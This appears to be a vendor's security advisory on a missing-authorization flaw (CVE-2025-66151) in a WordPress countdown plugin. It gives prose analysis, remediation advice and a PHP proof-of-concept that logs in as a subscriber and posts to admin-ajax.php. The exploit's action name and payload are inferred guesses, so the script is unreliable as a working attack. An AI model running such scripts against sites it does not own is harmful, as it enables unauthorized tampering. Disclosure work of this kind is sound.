Atomic Edge analysis of CVE-2025-66151 (metadata-based):
The Countdowner for Elementor WordPress plugin version 1.0.4 contains a missing authorization vulnerability. This flaw allows authenticated users with subscriber-level permissions or higher to perform unauthorized actions. The CVSS:3.1 score of 4.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N) indicates a network-accessible attack with low complexity that requires low-privilege authentication, leading to integrity impact without confidentiality or availability loss.
CWE-862 (Missing Authorization) indicates the plugin fails to verify user capabilities before executing privileged functionality. Atomic Edge research infers the vulnerability likely exists in an AJAX handler or admin endpoint that processes user requests without checking current_user_can() permissions. The description confirms attackers need subscriber-level access, suggesting the vulnerable function does not validate if the user possesses administrative capabilities required for the action. Without code analysis, this conclusion remains inferred from the CWE classification and standard WordPress security patterns.
Exploitation requires an authenticated WordPress session with subscriber privileges. Attackers would send crafted requests to the plugin’s AJAX endpoint at /wp-admin/admin-ajax.php with an action parameter containing the vulnerable hook name. Based on WordPress plugin conventions, the action likely follows patterns like ‘countdowner_elementor_action’ or ‘countdowner_save_settings’. The payload would contain parameters that trigger the unauthorized action, such as modifying plugin settings, deleting countdown timers, or injecting malicious content. No nonce verification appears present, as subscriber users cannot obtain valid nonces for administrative actions.
Remediation requires adding proper capability checks before executing privileged operations. The plugin should implement current_user_can(‘manage_options’) or similar administrator-level capability verification on all AJAX handlers and admin endpoints. WordPress security best practices also mandate nonce verification for state-changing operations, though the primary fix addresses the missing authorization check. Plugin developers should audit all user-facing functions for proper permission validation.
Successful exploitation allows authenticated attackers with minimal privileges to perform actions reserved for administrators. While the CVSS vector indicates no confidentiality or availability impact (C:N/A:N), the integrity impact (I:L) suggests attackers could modify plugin data, alter countdown timer configurations, or inject unauthorized content. In WordPress contexts, such vulnerabilities sometimes enable privilege escalation if the unauthorized action includes user role modification, though this specific impact remains unconfirmed without code examination.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-66151 - Countdowner for Elementor <= 1.0.4 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2025-66151
* Assumptions based on vulnerability metadata:
* 1. Vulnerable endpoint: /wp-admin/admin-ajax.php (standard WordPress AJAX handler)
* 2. Action parameter: 'countdowner_elementor_save' (inferred from plugin slug)
* 3. No capability check present for subscriber+ users
* 4. No nonce verification required
* 5. POST request with settings/data parameters
*/
$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';
// Initialize cURL session for WordPress login
$ch = curl_init();
// First, obtain authentication cookies via wp-login.php
$login_url = str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url);
$login_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
];
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($login_fields),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
]);
$response = curl_exec($ch);
// Check if login succeeded by searching for dashboard indicators
if (strpos($response, 'wp-admin') === false && strpos($response, 'logout') === false) {
die('Login failed. Check credentials.');
}
// Now exploit the missing authorization vulnerability
// The exact action name is inferred - actual exploitation requires identifying the correct hook
$exploit_action = 'countdowner_elementor_save';
$exploit_payload = [
'action' => $exploit_action,
'countdown_id' => '1',
'settings' => '{"malicious":"payload"}',
'nonce' => '' // Nonce may not be required due to missing authorization
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POSTFIELDS => http_build_query($exploit_payload),
CURLOPT_REFERER => $target_url
]);
$exploit_response = curl_exec($ch);
curl_close($ch);
// Analyze response
if ($exploit_response === false) {
echo 'Request failed.';
} else {
echo 'Response received: ' . htmlspecialchars(substr($exploit_response, 0, 500)) . '...';
// Check for success indicators
if (strpos($exploit_response, 'success') !== false || strpos($exploit_response, 'updated') !== false) {
echo 'nPotential successful exploitation detected.';
}
}
// Cleanup
if (file_exists('cookies.txt')) {
unlink('cookies.txt');
}
?>
